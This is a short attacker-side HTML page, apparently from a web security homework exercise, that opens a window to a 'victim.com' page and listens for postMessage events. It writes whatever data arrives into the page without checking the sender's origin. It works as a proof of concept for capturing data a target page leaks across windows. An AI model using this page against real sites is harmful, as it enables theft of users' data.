321
<body>
<script>
var target = null;
function openTargetWindow() {
target = window.open("http://victim.com/hw-8-2.php");
}
function receiveMessage(event) {
document.body.innerHTML = "<p>" + event.data + "</p>";
}
target = window.open("http://victim.com/hw-8-2.php");
window.addEventListener("message",receiveMessage);
</script>
</body>